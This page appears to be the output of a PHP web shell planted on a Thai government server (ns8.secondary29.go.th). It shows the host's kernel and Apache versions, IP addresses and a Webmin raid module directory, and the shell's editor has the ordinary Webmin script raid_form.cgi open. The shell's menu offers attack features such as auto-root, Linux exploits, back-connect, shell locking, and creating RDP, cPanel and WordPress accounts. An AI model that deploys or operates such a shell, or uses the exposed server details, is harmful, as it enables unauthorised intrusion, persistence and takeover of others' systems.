Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
raid /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
2.21
KB
-rw-r--r--
backup_config.pl
721
B
-rwxr-xr-x
cgi_args.pl
243
B
-rwxr-xr-x
config
63
B
-rw-r--r--
config-debian-linux-3.1-ALL
69
B
-rw-r--r--
config.info
219
B
-rw-r--r--
config.info.bg
242
B
-rw-r--r--
config.info.bg.UTF-8
382
B
-rw-r--r--
config.info.ca
240
B
-rw-r--r--
config.info.ca.UTF-8
243
B
-rw-r--r--
config.info.cz
222
B
-rw-r--r--
config.info.cz.UTF-8
232
B
-rw-r--r--
config.info.de
247
B
-rw-r--r--
config.info.de.UTF-8
247
B
-rw-r--r--
config.info.es
277
B
-rw-r--r--
config.info.es.UTF-8
277
B
-rw-r--r--
config.info.fr
271
B
-rw-r--r--
config.info.fr.UTF-8
271
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.nl
222
B
-rw-r--r--
config.info.nl.UTF-8
222
B
-rw-r--r--
config.info.no
227
B
-rw-r--r--
config.info.no.UTF-8
227
B
-rw-r--r--
config.info.pl
76
B
-rw-r--r--
config.info.pl.UTF-8
76
B
-rw-r--r--
config.info.ru.UTF-8
147
B
-rw-r--r--
config.info.ru_RU
96
B
-rw-r--r--
config.info.ru_RU.UTF-8
147
B
-rw-r--r--
config.info.ru_SU
96
B
-rw-r--r--
config.info.sv
72
B
-rw-r--r--
config.info.sv.UTF-8
76
B
-rw-r--r--
config.info.tr
73
B
-rw-r--r--
config.info.uk_UA
96
B
-rw-r--r--
config.info.uk_UA.UTF-8
137
B
-rw-r--r--
config.info.zh_CN
52
B
-rw-r--r--
config.info.zh_CN.UTF-8
62
B
-rw-r--r--
config.info.zh_TW.Big5
55
B
-rw-r--r--
config.info.zh_TW.UTF-8
72
B
-rw-r--r--
create_raid.cgi
2.75
KB
-rwxr-xr-x
index.cgi
3.82
KB
-rwxr-xr-x
install_check.pl
428
B
-rwxr-xr-x
log_parser.pl
1.52
KB
-rwxr-xr-x
mkfs.cgi
957
B
-rwxr-xr-x
module.info
180
B
-rw-r--r--
module.info.ca
117
B
-rw-r--r--
module.info.ca.UTF-8
129
B
-rw-r--r--
module.info.cz
19
B
-rw-r--r--
module.info.cz.UTF-8
25
B
-rw-r--r--
module.info.de
111
B
-rw-r--r--
module.info.de.UTF-8
123
B
-rw-r--r--
module.info.es
22
B
-rw-r--r--
module.info.es.UTF-8
28
B
-rw-r--r--
module.info.hu
19
B
-rw-r--r--
module.info.hu.UTF-8
25
B
-rw-r--r--
module.info.ja_JP.UTF-8
29
B
-rw-r--r--
module.info.ja_JP.euc
27
B
-rw-r--r--
module.info.ko_KR.UTF-8
32
B
-rw-r--r--
module.info.ko_KR.euc
27
B
-rw-r--r--
module.info.ms_MY
104
B
-rw-r--r--
module.info.ms_MY.UTF-8
116
B
-rw-r--r--
module.info.nl
19
B
-rw-r--r--
module.info.nl.UTF-8
25
B
-rw-r--r--
module.info.no
19
B
-rw-r--r--
module.info.no.UTF-8
25
B
-rw-r--r--
module.info.pl
29
B
-rw-r--r--
module.info.pl.UTF-8
35
B
-rw-r--r--
module.info.pt
22
B
-rw-r--r--
module.info.pt.UTF-8
28
B
-rw-r--r--
module.info.ru.UTF-8
25
B
-rw-r--r--
module.info.ru_RU
22
B
-rw-r--r--
module.info.ru_RU.UTF-8
28
B
-rw-r--r--
module.info.ru_SU
22
B
-rw-r--r--
module.info.sv
19
B
-rw-r--r--
module.info.sv.UTF-8
25
B
-rw-r--r--
module.info.tr
19
B
-rw-r--r--
module.info.zh_CN
26
B
-rw-r--r--
module.info.zh_TW.Big5
31
B
-rw-r--r--
raid-lib.pl
22.33
KB
-rwxr-xr-x
raid_form.cgi
3.88
KB
-rwxr-xr-x
save_mdadm.cgi
939
B
-rwxr-xr-x
save_raid.cgi
4.15
KB
-rwxr-xr-x
view_raid.cgi
7.15
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : raid_form.cgi
#!/usr/bin/perl # raid_form.cgi # Display a form for creating a raid device require './raid-lib.pl'; &foreign_require("mount"); &foreign_require("lvm"); &ReadParse(); $conf = &get_raidtab(); # Create initial object foreach $c (@$conf) { if ($c->{'value'} =~ /md(\d+)$/) { $taken{$1} = 1; } } $max = 0; while($taken{$max}) { $max++; } $raid = { 'value' => "/dev/md$max", 'members' => [ { 'name' => 'raid-level', 'value' => $in{'level'} }, { 'name' => 'persistent-superblock', 'value' => 1 } ] }; &ui_print_header(undef, $text{'create_title'}, ""); # Find available partitions @disks = &find_free_partitions(undef, 1, 1); if (!@disks) { print "<p><b>$text{'create_nodisks'}</b> <p>\n"; &ui_print_footer("", $text{'index_return'}); exit; } print &ui_form_start("create_raid.cgi"); print &ui_hidden("idx", $in{'idx'}); print &ui_table_start($text{'create_header'}, undef, 2); # Device name print &ui_table_row($text{'create_device'}, "<tt>$raid->{'value'}</tt>"); print &ui_hidden("device", $raid->{'value'}); # RAID level $lvl = &find_value('raid-level', $raid->{'members'}); print &ui_table_row($text{'create_level'}, $lvl eq 'linear' ? $text{'linear'} : $text{"raid$lvl"}); print &ui_hidden("level", $lvl); # Create superblock? $super = &find_value('persistent-superblock', $raid->{'members'}); print &ui_table_row($text{'create_super'}, &ui_yesno_radio("super", $super ? 1 : 0)); # Layout if ($lvl == 5 || $lvl == 6) { $layout = &find_value('parity-algorithm', $raid->{'members'}); print &ui_table_row($text{'create_parity'}, &ui_select("layout", $layout, [ [ '', $text{'default'} ], 'left-asymmetric', 'right-asymmetric', 'left-symmetric', 'right-symmetric', 'parity-first', 'parity-last' ])); } if ($lvl == 10) { $layout = &find_value('parity-algorithm', $raid->{'members'}); print &ui_table_row($text{'create_parity'}, &ui_select("layout", $layout, [ [ '', $text{'default'} ], [ 'n2', $text{'create_n2_layout'} ], [ 'f2', $text{'create_f2_layout'} ], [ 'o2', $text{'create_o2_layout'} ], [ 'n3', $text{'create_n3_layout'} ], [ 'f3', $text{'create_f3_layout'} ], [ 'o3', $text{'create_o3_layout'} ] ])); } # Chunk size $chunk = &find_value('chunk-size', $raid->{'members'}); push(@chunks, [ '', $text{'default'} ]); for($i=4; $i<=4096; $i*=2) { push(@chunks, [ $i, $i." kB" ]); } print &ui_table_row($text{'create_chunk'}, &ui_select("chunk", $chunk, \@chunks)); # Display partitions in raid, spares and parity print &ui_table_row($text{'create_disks'}, &ui_select("disks", undef, \@disks, 4, 1)); if ($lvl == 1 || $lvl == 4 || $lvl == 5 || $lvl == 6 || $lvl == 10) { print &ui_table_row($text{'create_spares'}, &ui_select("spares", undef, \@disks, 4, 1)); } if ($lvl == 4 && $raid_mode ne 'mdadm') { print &ui_table_row($text{'create_pdisk'}, &ui_select("pdisk", '', [ [ '', $text{'create_auto'} ], @disks ], 4, 1)); } # Missing disk option if ($lvl == 1 && $raid_mode eq 'mdadm') { print &ui_table_row($text{'create_missing'}, &ui_yesno_radio("missing", 0)); } # Spare-group name option if ($raid_mode eq 'mdadm') { @opts = ( [ 0, $text{'create_nogroup'} ] ); @groups = ( ); foreach $c (@$conf) { $sg = &find_value("spare-group", $c->{'members'}); push(@groups, $sg) if ($sg); } if (@groups) { push(@opts, [ 1, $text{'create_oldgroup'}, &ui_select("group", undef, \@groups) ]); } push(@opts, [ 2, $text{'create_newgroup'}, &ui_textbox("newgroup", undef, 30) ]); print &ui_table_row($text{'create_group'}, &ui_radio_table("group_mode", 0, \@opts, 1)); } # Force creation print &ui_table_row($text{'create_force'}, &ui_yesno_radio("force", 0)); # Assume clean if ($raid_mode eq 'mdadm') { print &ui_table_row($text{'create_assume'}, &ui_yesno_radio("assume", 0)); } print &ui_table_end(); print &ui_form_end([ [ undef, $text{'create'} ] ]); &ui_print_footer("", $text{'index_return'});
Close